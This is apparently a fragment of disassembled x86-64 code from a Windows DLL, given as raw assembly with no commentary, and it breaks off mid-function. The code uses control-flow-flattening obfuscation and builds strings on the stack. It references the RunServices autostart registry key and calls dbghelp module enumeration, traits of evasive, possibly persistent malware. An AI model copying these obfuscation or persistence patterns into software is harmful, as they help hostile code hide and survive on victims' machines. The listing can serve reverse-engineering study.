jmp 0x18002aa3e
mov rcx, qword [rsp + 0x58]
mov edx, 0x55
add rcx, 8
call fcn.180009b10
cmp qword [r15], 0
je 0x18002ab3e
call qword [r15 + 0x48]
mov r13, qword [rsp + 0x58]
jmp 0x18002ab8e
mov rax, qword [r15 + 0x28]
test rax, rax
je 0x18002ab8e
mov rcx, qword [r13 + 8]
mov rcx, qword [rcx]
call rax
jmp 0x18002ab8e
mov rax, qword [rsp + 0x58]
cmp qword [rax + 8], 0
jne 0x18002ab8b
mov eax, 0x27
nop word [rax + rax]
cmp eax, 0x27
je 0x18002cc37
add eax, 0x1c
cmp eax, 0x43
jb 0x18002ab70
mov r13, qword [rsp + 0x58]
jmp 0x18002ab8e
mov r13, rax
add edi, 0x37
cmp edi, 0xe2
jb 0x18002aa50
mov ecx, 0xaf
mov eax, ecx
sub eax, 0xae
je case.0x18002c317.0
cmp eax, 1
jne 0x18002abc0
mov dword [rsp + 0x70], 7
dec ecx
cmp ecx, 0xad
ja 0x18002aba2
mov r14d, 0xb4
jmp case.default.0x18002a761
mov byte [rbp - 0x28], 1
jmp case.default.0x18002a761
mov rcx, qword [rbp + 0x70]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.dbghelp.dll_SymInitialize]
mov dword [rbp + 0x80], eax
jmp case.default.0x18002a761
cmp dword [rbp + 0x80], 0
mov r15d, ebx
movzx eax, byte [rbp - 0x28]
cmovne r15d, eax
test r15b, r15b
je 0x18002ac98
mov esi, 0x5d
lea r13d, [rsi - 0x3d]
nop dword [rax]
cmp esi, 0x5d
je 0x18002ac7a
cmp esi, 0x9cf
je 0x18002ac5d
cmp esi, 0x1341
jne 0x18002ac85
mov rdx, qword [rbp + 0x78]
lea r9, [rbp + 0xe0]
mov rcx, qword [rbp + 0x70]
lea r8, [rbp + 0x98]
call qword [sym.imp.dbghelp.dll_SymGetSymFromAddr64]
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.dbghelp.dll_SymCleanup]
jmp 0x18002ac85
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov dword [rbp + 0xe0], r13d
movups xmmword [rbp + 0xf0], xmm0
jmp 0x18002ac85
mov qword [rbp + 0x78], rbx
mov qword [rbp + 0x98], rbx
add esi, 0x972
cmp esi, 0x1c56
jbe 0x18002ac20
mov r13, qword [rsp + 0x58]
mov byte [rbp - 0x28], r15b
jmp case.default.0x18002a761
mov qword [rbp + 0x70], 0xffffffffffffffff
mov r15, qword [rbp - 0x80]
inc r14d
cmp r14d, 0xb9
jb 0x18002a740
mov r15d, 0x26e
jmp 0x18002cc04
cmp r15d, 0x68e
ja 0x18002c4f4
je 0x18002bf96
mov eax, r15d
sub eax, 0x4ae
je 0x18002ba5e
sub eax, 0x60
je 0x18002b911
sub eax, 0x60
je 0x18002b412
sub eax, 0x60
je 0x18002ad18
cmp eax, 0x60
jne 0x18002cc04
mov r15d, 0x62e
jmp 0x18002cc04
mov r14d, 0x1e
nop
mov eax, r14d
sub eax, 0x1e
je 0x18002ad55
sub eax, 0x3c
je 0x18002adc6
sub eax, 0x3c
je 0x18002ad48
cmp eax, 0x3c
je case.0x18002c317.0
jmp 0x18002add2
mov dword [rsp + 0x70], 1
jmp 0x18002add2
movsx eax, byte [rbx]
add eax, 0xfffffff7
cmp eax, 0x74
ja case.0x18002ad7f.16
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0x2d2b8]
mov ecx, dword [rdx + rax*4 + 0x2d298]
add rcx, rdx
jmp rcx
mov eax, 0x8f
cmp eax, 0x8f
je 0x18002aded
dec eax
cmp eax, 0x8e
ja 0x18002ad86
mov edi, 4
nop dword [rax + rax]
mov eax, edi
sub eax, 4
je 0x18002afe1
sub eax, 1
je 0x18002af44
sub eax, 1
je 0x18002af3b
cmp eax, 1
jne 0x18002afa3
mov r14d, 0x5a
mov r15d, 0x5ce
mov r10, qword [rsp + 0x58]
add r14d, 0x3c
cmp r14d, 0xf0
jbe 0x18002ad20
jmp 0x18002cc04
cmp dword [r10 + 4], 0
jne 0x18002adc6
mov esi, 0x1c
nop dword [rax]
mov eax, esi
sub eax, 0x1c
je 0x18002af24
sub eax, 1
je 0x18002af08
cmp eax, 1
jne 0x18002af2b
mov rcx, qword [r10 + 8]
lea edx, [rax + 0x52]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
call fcn.180026110
cmp rax, 0xffffffffffffffff
jae 0x18002aef9
mov edi, 0x31
cmp edi, 0x31
jne 0x18002aee7
lea edx, [rdi + 0x48]
mov qword [rbp - 0x38], 5
lea rcx, [rbp - 0x38]
call fcn.18001b550
mov r9, rax
mov rax, qword [rsp + 0x58]
mov qword [rax + 8], r9
test r9, r9
jne 0x18002aea8
mov ecx, 2
nop word [rax + rax]
mov eax, ecx
sub eax, 2
je 0x18002ae99
cmp eax, 1
je case.0x18002c317.0
jmp 0x18002aea1
mov dword [rsp + 0x70], 6
inc ecx
cmp ecx, 4
jb 0x18002ae80
movzx eax, byte [rbx]
lea r8, [rbp - 0x10]
mov edx, 0x30
mov byte [rbp - 0x10], al
mov rcx, r9
call fcn.180072e90
cmp eax, 1
je 0x18002aee7
mov eax, 0xad
nop dword [rax]
cmp eax, 0xad
je 0x18002cc37
add eax, 0x38c4
cmp eax, 0x38c4
jbe 0x18002aed0
dec edi
cmp edi, 0x30
ja 0x18002ae43
mov r10, qword [rsp + 0x58]
jmp 0x18002af2b
mov r10, qword [rsp + 0x58]
mov dword [r10 + 4], 1
jmp 0x18002af2b
mov rcx, qword [rbp + 0x90]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.GDI32.dll_GetEnhMetaFileDescriptionA]
mov r10, qword [rsp + 0x58]
jmp 0x18002af2b
mov qword [rbp + 0x90], rbx
inc esi
cmp esi, 0x1f
jb 0x18002ae00
jmp 0x18002adc6
mov dword [r10], 0x12
jmp 0x18002afa3
mov rcx, qword [r10 + 8]
lea r8, [rbp - 0x18]
mov edx, 0x30
mov byte [rbp - 0x18], 0x2e
call fcn.180072e90
cmp eax, 1
je 0x18002af9e
mov ecx, 0xac
nop dword [rax]
nop dword [rax + rax]
mov eax, ecx
sub eax, 0xac
je 0x18002af8b
cmp eax, 0x56
je case.0x18002c317.0
jmp 0x18002af93
mov dword [rsp + 0x70], 6
add ecx, 0x56
cmp ecx, 0x158
jb 0x18002af70
mov r10, qword [rsp + 0x58]
inc edi
cmp edi, 8
jb 0x18002ada0
mov edi, 0xbd
mov eax, edi
sub eax, 0xbd
je 0x18002b0d4
sub eax, 0x1c
je 0x18002b047
sub eax, 0x1c
je 0x18002b041
sub eax, 0x1c
je 0x18002b038
cmp eax, 0x1c
je 0x18002adc6
jmp 0x18002b09d
mov edx, 0x79
mov qword [rbp - 0x38], 5
lea rcx, [rbp - 0x38]
call fcn.18001b550
mov r10, qword [rsp + 0x58]
mov qword [r10 + 8], rax
test rax, rax
jne 0x18002afa3
mov ecx, 0x13
nop word [rax + rax]
mov eax, ecx
sub eax, 0x12
je case.0x18002c317.0
cmp eax, 1
jne 0x18002b02c
mov dword [rsp + 0x70], 6
dec ecx
cmp ecx, 0x11
ja 0x18002b010
jmp 0x18002afa3
mov dword [r10], 0x14
jmp 0x18002b09d
mov dword [r10 + 4], ebx
jmp 0x18002b09d
movzx eax, byte [rbx]
lea r8, [rbp - 0x20]
mov rcx, qword [r10 + 8]
mov edx, 0x30
mov byte [rbp - 0x20], al
call fcn.180072e90
cmp eax, 1
je 0x18002b098
mov ecx, 0x88
nop dword [rax]
mov eax, ecx
sub eax, 0x87
je case.0x18002c317.0
cmp eax, 1
jne 0x18002b08e
mov dword [rsp + 0x70], 6
dec ecx
cmp ecx, 0x86
ja 0x18002b070
mov r10, qword [rsp + 0x58]
add edi, 0x1c
cmp edi, 0x149
jb 0x18002afb3
mov edi, 0x19
mov eax, edi
sub eax, 0x19
je 0x18002b148
sub eax, 1
je 0x18002b12b
sub eax, 1
je 0x18002b113
cmp eax, 1
je 0x18002adc6
jmp 0x18002b177
mov edx, 0x79
mov qword [rbp - 0x38], 5
lea rcx, [rbp - 0x38]
call fcn.18001b550
mov r10, qword [rsp + 0x58]
mov qword [r10 + 8], rax
test rax, rax
jne 0x18002b09d
mov ecx, 1
nop dword [rax]
cmp ecx, 1
je 0x18002cc37
add ecx, 0x53
cmp ecx, 0x54
jb 0x18002b100
jmp 0x18002b09d
lea rcx, [r10 + 8]
mov edx, 0x55
call fcn.180009b10
mov r10, qword [rsp + 0x58]
mov dword [r10], ebx
jmp 0x18002b177
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x28]
test rax, rax
je 0x18002b177
mov rcx, qword [r10 + 8]
mov rcx, qword [rcx]
call rax
mov r10, qword [rsp + 0x58]
jmp 0x18002b177
cmp qword [r10 + 8], 0
jne 0x18002b177
mov ecx, 7
mov eax, ecx
sub eax, 6
je case.0x18002c317.0
cmp eax, 1
jne 0x18002b170
mov dword [rsp + 0x70], 6
dec ecx
cmp ecx, 5
ja 0x18002b154
inc edi
cmp edi, 0x1d
jb 0x18002b0b1
mov edi, 0xb6
mov eax, edi
sub eax, 0xb6
je 0x18002b1da
sub eax, 0x1b
je 0x18002b1ca
sub eax, 0x1b
je 0x18002b1bb
sub eax, 0x1b
je 0x18002b1b2
cmp eax, 0x1b
je 0x18002adc6
jmp 0x18002b21a
mov dword [r10], 0x1a
jmp 0x18002b21a
mov rax, qword [rbp - 0x80]
cmp qword [rax], 0
je 0x18002b21a
call qword [rax + 8]
jmp 0x18002b21a
lea rcx, [r10 + 8]
mov edx, 0x55
call fcn.180009b10
jmp 0x18002b21a
mov rcx, qword [r10 + 8]
test rcx, rcx
jne 0x18002b204
mov eax, 0xbf
nop dword [rax]
cmp eax, 0xbf
je 0x18002cc37
dec eax
cmp eax, 0xbe
ja 0x18002b1f0
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x28]
test rax, rax
je 0x18002b21a
mov rcx, qword [rcx]
call rax
mov r10, qword [rsp + 0x58]
add edi, 0x1b
cmp edi, 0x13d
jb 0x18002b187
mov edi, 0x4f
mov eax, edi
sub eax, 0x4f
je 0x18002b27e
sub eax, 1
je 0x18002b25c
cmp eax, 1
jne 0x18002b2cf
mov rax, qword [rsp + 0x58]
mov dword [rax], 0x1a
jmp 0x18002adc6
mov rcx, qword [rsp + 0x58]
mov edx, 0x55
add rcx, 8
call fcn.180009b10
mov rax, qword [rbp - 0x80]
cmp qword [rax], 0
je 0x18002b2cf
call qword [rax + 0x18]
jmp 0x18002b2cf
mov rax, qword [rsp + 0x58]
mov rdx, qword [rax + 8]
test rdx, rdx
jne 0x18002b2b9
mov ecx, 0x6e
mov eax, ecx
sub eax, 0x6e
je 0x18002b2aa
cmp eax, 1
je case.0x18002c317.0
jmp 0x18002b2b2
mov dword [rsp + 0x70], 6
inc ecx
cmp ecx, 0x70
jb 0x18002b291
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x28]
test rax, rax
je 0x18002b2cf
mov rcx, qword [rdx]
call rax
inc edi
cmp edi, 0x52
jb 0x18002b233
mov r13, qword [rsp + 0x58]
mov esi, 0xb6
nop dword [rax]
nop dword [rax + rax]
mov eax, esi
sub eax, 0xb6
je 0x18002b3c2
sub eax, 0xd
je 0x18002b375
sub eax, 0xd
je 0x18002b319
cmp eax, 0xd
je 0x18002adc6
jmp 0x18002b33a
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x48]
test rax, rax
je 0x18002b32c
call rax
mov rax, qword [rsp + 0x58]
mov dword [rax], 0x1b
mov r13, rax
add esi, 0xd
cmp esi, 0xea
jb 0x18002b2f0
mov eax, 0x50
nop word [rax + rax]
cmp eax, 0x50
je 0x18002cc44
cmp eax, 0x3c0
je 0x18002adc6
add eax, 0x370
cmp eax, 0x6e0
jbe 0x18002b350
jmp 0x18002add2
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x28]
test rax, rax
je 0x18002b3a2
mov rcx, qword [r13 + 8]
lea rdi, [r13 + 8]
mov rcx, qword [rcx]
call rax
mov edx, 0x55
mov rcx, rdi
call fcn.180009b10
jmp 0x18002b33a
mov rdi, qword [rsp + 0x58]
mov edx, 0x55
mov r13, qword [rsp + 0x58]
add rdi, 8
mov rcx, rdi
call fcn.180009b10
jmp 0x18002b33a
mov rax, qword [rsp + 0x58]
cmp qword [rax + 8], 0
jne 0x18002b337
mov ecx, 0x16
nop word [rax + rax]
mov eax, ecx
sub eax, 0x16
je 0x18002b3f9
cmp eax, 1
je case.0x18002c317.0
jmp 0x18002b401
mov dword [rsp + 0x70], 6
inc ecx
cmp ecx, 0x18
jb 0x18002b3e0
mov r13, qword [rsp + 0x58]
jmp 0x18002b33a
mov r12d, 0x9b
mov dword [rbp - 0x68], r12d
nop dword [rax]
cmp r12d, 0x9b
je 0x18002b449
cmp r12d, 0x3985
je 0x18002b47c
test bl, bl
jne 0x180027ef9
cmp r12d, 0xab59
je 0x180027ef9
jmp 0x18002b482
movsx eax, byte [rbx]
add eax, 0xffffffd0
cmp eax, 9
ja case.default.0x18002b46b
lea rdx, [0x180000000]
cdqe
mov ecx, dword [rdx + rax*4 + 0x2d330]
add rcx, rdx
jmp rcx
mov edi, 0x21
cmp edi, 0x21
je 0x18002b4aa
cmp edi, 0x43
jne 0x18002b4ce
mov r12d, 0x3985
mov r10, qword [rsp + 0x58]
add r12d, 0x38ea
mov edi, dword [rsp + 0x78]
mov dword [rbp - 0x68], r12d
cmp r12d, 0xe3a8
jbe 0x18002b420
mov r15d, 0x56e
jmp 0x18002cc04
movzx eax, byte [rbx]
lea r8, [rbp + 0x48]
mov rcx, qword [r10 + 8]
mov edx, 0x30
mov byte [rbp + 0x48], al
call fcn.180072e90
mov r10, qword [rsp + 0x58]
mov dword [r10], 0x11
add edi, 0x22
cmp edi, 0x65
jb 0x18002b472
mov edi, dword [rsp + 0x78]
mov r15d, 0xb0
mov dword [rbp + 0x20], r15d
nop dword [rax]
nop dword [rax + rax]
mov eax, r15d
sub eax, 0xb0
je 0x18002b522
sub eax, 1
je 0x18002b515
cmp eax, 1
je 0x18002b47c
jmp 0x18002b8bf
mov eax, 0x18
mov dword [r10], eax
jmp 0x18002b8bf
cmp dword [r10 + 4], 0
jne 0x18002b8bf
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
lea edx, [r9 + 0x53]
call fcn.180026110
cmp rax, 0xffffffffffffffff
jae 0x18002b8bf
mov r13, qword [rsp + 0x58]
mov r14d, 0x7e
mov dword [rbp + 0x18], r14d
nop
cmp r14d, 0x14b
ja 0x18002b64f
je 0x18002b63b
mov eax, r14d
sub eax, 0x7e
je 0x18002b618
sub eax, 0x29
je 0x18002b5f3
sub eax, 0x29
je 0x18002b5d5
sub eax, 0x29
je 0x18002b5b6
cmp eax, 0x29
jne 0x18002b8aa
mov eax, dword [0x1800b236e]
mov dword [rbp + 0x124], eax
movzx eax, word [0x1800b2372]
mov word [rbp + 0x128], ax
jmp 0x18002b8aa
mov eax, dword [0x1800b2270]
mov dword [rbp + 0x11e], eax
movzx eax, word [0x1800b2274]
mov word [rbp + 0x122], ax
jmp 0x18002b8aa
mov r8d, 2
lea rdx, [0x1800b22c6]
lea rcx, [rbp + 0x11a]
call fcn.180088aec
jmp 0x18002b8aa
mov r8d, 4
mov word [rbp + 0x112], bx
lea rdx, str.CURRENTLY_OUT_OF_STOCK
lea rcx, [rbp + 0x108]
call fcn.1800848d8
jmp 0x18002b8aa
movsd xmm0, qword [str.HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices]
movzx eax, word [0x1800b2468]
movsd qword [rbp + 0x108], xmm0
mov word [rbp + 0x110], ax
jmp 0x18002b8aa
mov sil, 1
mov word [rbp + 0x12a], bx
mov byte [rsp + 0x50], sil
jmp 0x18002b8aa
mov eax, r14d
sub eax, 0x19d
je 0x18002b866
sub eax, 0x29
je 0x18002b84e
sub eax, 0x29
je 0x18002b708
sub eax, 0x29
je 0x18002b6da
cmp eax, 0x29
jne 0x18002b8aa
movzx eax, byte [rbx]
lea r8, [rbp - 0x58]
mov rdi, qword [rsp + 0x58]
mov edx, 0x30
mov byte [rbp - 0x58], al
mov rcx, qword [rdi + 8]
call fcn.180072e90
cmp eax, 1
je 0x18002b6c7
mov eax, 0x99
cmp eax, 0x99
je 0x18002cc37
add eax, 0x14eb
cmp eax, 0x14eb
jbe 0x18002b6a4
mov r13, rdi
mov edi, dword [rsp + 0x78]
jmp 0x18002b8aa
mov dword [rdi + 4], 1
mov r13, rdi
mov edi, dword [rsp + 0x78]
jmp 0x18002b8aa
cmp dword [rbp - 0x70], 0
mov ecx, ebx
movzx eax, sil
cmove ecx, eax
mov byte [rsp + 0x50], cl
movzx esi, cl
test cl, cl
je 0x18002b8aa
mov rcx, qword [rbp + 0xb0]
call qword [sym.imp.SHLWAPI.dll_SHRegCloseUSKey]
jmp 0x18002b8aa
mov edx, dword [rbp - 0x6c]
lea r9, [rbp + 0xb0]
xor r8d, r8d
mov dword [rsp + 0x20], edi
lea rcx, [rbp + 0x108]
call qword [sym.imp.SHLWAPI.dll_SHRegOpenUSKeyW]
mov rbx, qword [rbp - 0x40]
lea r13, [0x180000000]
mov edi, 9
mov dword [rbp - 0x70], eax
lea esi, [rdi + 1]
lea r12d, [rdi + 0x65]
lea r15d, [rdi + 0x17]
cmp edi, 9
ja case.default.0x18002b75a
mov ecx, edi
mov edx, dword [r13 + rcx*4 + 0x2d358]
add rdx, r13
jmp rdx
mov eax, 0x4d
mov dword [rbp + 0xec], 0x646564
mov word [rbp + 0xef], ax
jmp case.default.0x18002b75a
mov dword [rbp + 0xf0], 0x75646f
jmp case.default.0x18002b75a
mov eax, 0x72
mov word [rbp + 0xe5], ax
mov dword [rbp + 0xe6], 0x657461
jmp case.default.0x18002b75a
mov dword [rbp + 0xe9], 0x616f4c
jmp case.default.0x18002b75a
mov r8, rbx
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x150]
call fcn.180001170
jmp case.default.0x18002b75a
mov eax, 0x45
mov word [rbp + 0xe0], ax
mov word [rbp + 0xe1], r12w
jmp case.default.0x18002b75a
mov dword [rbp + 0xe2], 0x656d75
jmp case.default.0x18002b75a
mov word [rbp + 0xf8], r15w
jmp case.default.0x18002b75a
mov eax, 0x6c
mov word [rbp + 0xf3], ax
mov dword [rbp + 0xf4], 0x34367365
jmp case.default.0x18002b75a
mov eax, 0x25
mov word [rbp + 0xf9], ax
mov eax, 0x70
mov word [rbp + 0xfa], ax
dec edi
sub rsi, 1
jne 0x18002b744
mov r14d, dword [rbp + 0x18]
xor ebx, ebx
mov r15d, dword [rbp + 0x20]
mov r12d, dword [rbp - 0x68]
mov r13, qword [rsp + 0x58]
movzx esi, byte [rsp + 0x50]
mov edi, dword [rsp + 0x78]
jmp 0x18002b8aa
mov rsi, qword [sym.imp.dbghelp.dll_EnumerateLoadedModules64]
mov edi, ebx
mov qword [rbp - 0x40], rsi
movzx esi, byte [rsp + 0x50]
mov dword [rsp + 0x78], ebx
jmp 0x18002b8aa
mov edx, 0x79
mov dword [rbp - 0x6c], 0xf003f
lea rcx, [rbp - 0x38]
mov qword [rbp - 0x38], 5
call fcn.18001b550
mov qword [r13 + 8], rax
test rax, rax
jne 0x18002b8aa
mov eax, 0x86
cmp eax, 0x86
je 0x18002cc37
add eax, 0x27
cmp eax, 0xad
jb 0x18002b895
add r14d, 0x29
mov dword [rbp + 0x18], r14d
cmp r14d, 0x26a
jb 0x18002b560
mov r10, qword [rsp + 0x58]
inc r15d
mov dword [rbp + 0x20], r15d
cmp r15d, 0xb3
jb 0x18002b4f0
mov ecx, 0x2c
nop dword [rax]
mov eax, ecx
sub eax, 0x2a
je 0x18002b47c
sub eax, 1
je case.0x18002c317.0
cmp eax, 1
jne 0x18002b905
mov dword [rsp + 0x70], 7
dec ecx
cmp ecx, 0x29
ja 0x18002b8e0
jmp 0x18002b482
mov ecx, 0x9b
nop word [rax + rax]
mov eax, ecx
sub eax, 0x9b
je 0x18002b951
sub eax, 1
je 0x18002b944
cmp eax, 1
je case.0x18002c317.0
jmp 0x18002ba45
mov dword [rsp + 0x70], 1
jmp 0x18002ba45
movsx eax, byte [rbx]
add eax, 0xffffffd0
cmp eax, 9
ja case.default.0x18002b973
lea rdx, [0x180000000]
cdqe
mov ecx, dword [rdx + rax*4 + 0x2d380]
add rcx, rdx
jmp rcx
mov edi, 0xc2
nop word [rax + rax]
cmp edi, 0xc2
je 0x18002b99a
cmp edi, 0x3ee6
je 0x18002ba40
jmp 0x18002b9fe
cmp dword [r10 + 4], 0
jne 0x18002b9f7
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
lea edx, [r9 + 0x53]
call fcn.180026110
cmp rax, 0xfffffffffffffffe
jae 0x18002b9ea
movzx eax, byte [rbx]
lea r8, [rbp + 0x40]
mov byte [rbp + 0x40], al
mov edx, 0x30
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax + 8]
call fcn.180072e90
mov r10, qword [rsp + 0x58]
jmp 0x18002b9f7
mov r10, qword [rsp + 0x58]
mov dword [r10 + 4], 1
mov dword [r10], 0x15
add edi, 0x3e24
cmp edi, 0x7c48
jbe 0x18002b980
mov ecx, 0xb6
nop word [rax + rax]
mov eax, ecx
sub eax, 0xb6
je 0x18002cc44
cmp eax, 1
je 0x18002ba40
inc ecx
cmp ecx, 0xb8
jb 0x18002ba20
mov ecx, 0x9b
inc ecx
cmp ecx, 0x9e
jb 0x18002b920
mov r15d, 0x50e
jmp 0x18002cc04
mov r14d, 0x39
mov dword [rbp - 0x58], r14d
nop dword [rax + rax]
mov eax, r14d
sub eax, 0x36
je case.0x18002c317.0
sub eax, 1
je 0x18002bf6d
sub eax, 1
je 0x18002bad9
cmp eax, 1
jne 0x18002bf75
movsx eax, byte [rbx]
add eax, 0xfffffff7
cmp eax, 0x74
ja case.0x18002babd.14
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0x2d3c0]
mov ecx, dword [rdx + rax*4 + 0x2d3a8]
add rcx, rdx
jmp rcx
mov edi, 0x31
cmp edi, 0x31
je 0x18002bae4
cmp edi, 0x651
jne 0x18002bb6d
mov r14d, 0x38
jmp 0x18002bf75
cmp dword [r10 + 4], 0
jne 0x18002bb6d
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
lea edx, [r9 + 0x53]
call fcn.180026110
cmp rax, 0xfffffffffffffffe
jae 0x18002bbe7
movzx eax, byte [rbx]
lea r8, [rbp + 0x38]
mov byte [rbp + 0x38], al
mov edx, 0x30
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax + 8]
call fcn.180072e90
cmp eax, 1
je 0x18002bb68
mov ecx, 0xa
nop dword [rax]
mov eax, ecx
sub eax, 0xa
je 0x18002bb59
cmp eax, 1
je case.0x18002c317.0
jmp 0x18002bb61
mov dword [rsp + 0x70], 6
inc ecx
cmp ecx, 0xc
jb 0x18002bb40
mov r10, qword [rsp + 0x58]
add edi, 0x620
cmp edi, 0xc40
jbe 0x18002bac4
mov edi, 0xc1
nop dword [rax]
nop dword [rax + rax]
mov eax, edi
sub eax, 0xbf
je 0x18002bad9
sub eax, 1
je 0x18002bbf9
cmp eax, 1
jne 0x18002bc0f
mov rcx, qword [r10 + 8]
test rcx, rcx
jne 0x18002bbc7
mov edx, eax
cmp edx, 1
je 0x18002cc37
add edx, 0x49
cmp edx, 0x4a
jb 0x18002bbb6
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x28]
test rax, rax
je 0x18002bc0f
mov rcx, qword [rcx]
call rax
mov r10, qword [rsp + 0x58]
jmp 0x18002bc0f
mov r10, qword [rsp + 0x58]
mov dword [r10 + 4], 1
jmp 0x18002bb6d
lea rcx, [r10 + 8]
mov edx, 0x55
call fcn.180009b10
mov r10, qword [rsp + 0x58]
mov dword [r10], ebx
dec edi
cmp edi, 0xbe
ja 0x18002bb90
mov edi, 0x9f
mov eax, edi
sub eax, 0x9b
je 0x18002bad9
sub eax, 1
je 0x18002bcac
sub eax, 1
je 0x18002bc96
sub eax, 1
je 0x18002bc83
cmp eax, 1
jne 0x18002bcb3
mov rcx, qword [r10 + 8]
test rcx, rcx
jne 0x18002bc68
mov eax, 0x1e
cmp eax, 0x1e
je 0x18002cc37
add eax, 0x62
cmp eax, 0x80
jb 0x18002bc55
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x28]
test rax, rax
je 0x18002bcb3
mov rcx, qword [rcx]
call rax
jmp 0x18002bcb3
lea rcx, [r10 + 8]
mov edx, 0x55
call fcn.180009b10
jmp 0x18002bcb3
mov rax, qword [rbp - 0x80]
cmp qword [rax], 0
je 0x18002bcb3
call qword [rax + 8]
jmp 0x18002bcb3
mov dword [r10], 0x1a
mov r10, qword [rsp + 0x58]
dec edi
cmp edi, 0x9a
ja 0x18002bc22
mov esi, 0x37
nop dword [rax + rax]
cmp esi, 0x37
je 0x18002bd12
cmp esi, 0x54
je 0x18002bcf0
cmp esi, 0x71
je 0x18002bad9
jmp 0x18002bdd6
mov r15, qword [rbp - 0x80]
cmp qword [r15], 0
je 0x18002bd02
call qword [r15 + 0x18]
mov rax, qword [rsp + 0x58]
mov dword [rax], 0x1a
jmp 0x18002bdd6
mov r15, qword [rbp - 0x80]
cmp qword [r15 + 0x28], 0
je 0x18002bd8b
mov edi, 0x67
cmp edi, 0x67
je 0x18002bd4b
cmp edi, 0x73
jne 0x18002bd7e
mov r15, qword [rsp + 0x58]
mov rcx, qword [r15 + 8]
call fcn.180089010
mov qword [r15 + 8], rbx
mov r15, qword [rbp - 0x80]
jmp 0x18002bd7e
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax + 8]
test rcx, rcx
jne 0x18002bd77
mov eax, 0xc5
cmp eax, 0xc5
je 0x18002cc37
add eax, 0x5e
cmp eax, 0x123
jb 0x18002bd62
mov rcx, qword [rcx]
call qword [r15 + 0x28]
add edi, 0xc
cmp edi, 0x7f
jb 0x18002bd22
jmp 0x18002bdd6
mov r14, qword [rsp + 0x58]
mov edi, 0xb1
nop word [rax + rax]
mov eax, edi
sub eax, 0xb1
je 0x18002bdbf
cmp eax, 1
jne 0x18002bdc8
mov qword [r14 + 8], rbx
jmp 0x18002bdc8
mov rcx, qword [r14 + 8]
call fcn.180089010
inc edi
cmp edi, 0xb3
jb 0x18002bda0
mov r14d, dword [rbp - 0x58]
add esi, 0x1d
cmp esi, 0x8e
jb 0x18002bcd0
mov esi, 0x86
nop word [rax + rax]
mov eax, esi
sub eax, 0x86
je 0x18002be39
sub eax, 2
je 0x18002be21
cmp eax, 2
jne 0x18002bf26
mov rax, qword [rsp + 0x58]
mov r14d, 0x38
mov dword [rax], 0x1b
jmp 0x18002bf75
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x48]
test rax, rax
je 0x18002bf26
call rax
jmp 0x18002bf26
mov rdx, qword [rbp - 0x80]
cmp qword [rdx + 0x28], 0
je 0x18002bee0
mov edi, 0x55
nop dword [rax]
mov eax, edi
sub eax, 0x55
je 0x18002bea5
sub eax, 1
je 0x18002be8d
sub eax, 1
je 0x18002be79
cmp eax, 1
jne 0x18002bed0
mov rax, qword [rsp + 0x58]
mov qword [rax + 8], rbx
jmp 0x18002bed0
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax + 8]
call fcn.180089010
mov rdx, qword [rbp - 0x80]
jmp 0x18002bed0
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax + 8]
mov rcx, qword [rcx]
call qword [rdx + 0x28]
mov rdx, qword [rbp - 0x80]
jmp 0x18002bed0
mov rax, qword [rsp + 0x58]
cmp qword [rax + 8], 0
jne 0x18002bed0
mov eax, 0x24
nop word [rax + rax]
cmp eax, 0x24
je 0x18002cc37
dec eax
cmp eax, 0x23
ja 0x18002bec0
inc edi
cmp edi, 0x59
jb 0x18002be50
jmp 0x18002bf26
mov r14, qword [rsp + 0x58]
mov edi, 0x8c
nop word [rax + rax]
mov eax, edi
sub eax, 0x8b
je 0x18002bf14
cmp eax, 1
jne 0x18002bf18
mov rcx, qword [r14 + 8]
call fcn.180089010
jmp 0x18002bf18
mov qword [r14 + 8], rbx
dec edi
cmp edi, 0x8a
ja 0x18002bef0
mov r14d, dword [rbp - 0x58]
add esi, 2
cmp esi, 0x8c
jb 0x18002bdf0
mov ecx, 0x14
nop word [rax + rax]
mov eax, ecx
sub eax, 0x14
je 0x18002bf59
cmp eax, 1
je case.0x18002c317.0
jmp 0x18002bf61
mov dword [rsp + 0x70], 7
inc ecx
cmp ecx, 0x16
jb 0x18002bf40
jmp 0x18002bf75
mov dword [rsp + 0x70], 1
mov r10, qword [rsp + 0x58]
dec r14d
mov dword [rbp - 0x58], r14d
cmp r14d, 0x35
ja 0x18002ba70
mov r15d, 0x4ae
jmp 0x18002cc04
mov edi, 0x81
nop dword [rax + rax]
lea eax, [rdi - 0x81]
cmp eax, 0xb0
ja case.0x18002bfca.141
lea rdx, [0x180000000]
movzx eax, byte [rdx + rax + 0x2d46c]
mov ecx, dword [rdx + rax*4 + 0x2d438]
add rcx, rdx
jmp rcx
lea rcx, [rbp + 0xc8]
dec rcx
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x18002bfd6
movzx eax, word [0x1800b1e6c]
mov word [rcx], ax
jmp case.0x18002bfca.141
mov byte [rbp + 0xcb], 0x49
jmp case.0x18002bfca.141
xor ecx, ecx
lea r8, [rbp + 0xce]
xor r9d, r9d
lea rdx, [rbp + 0xc8]
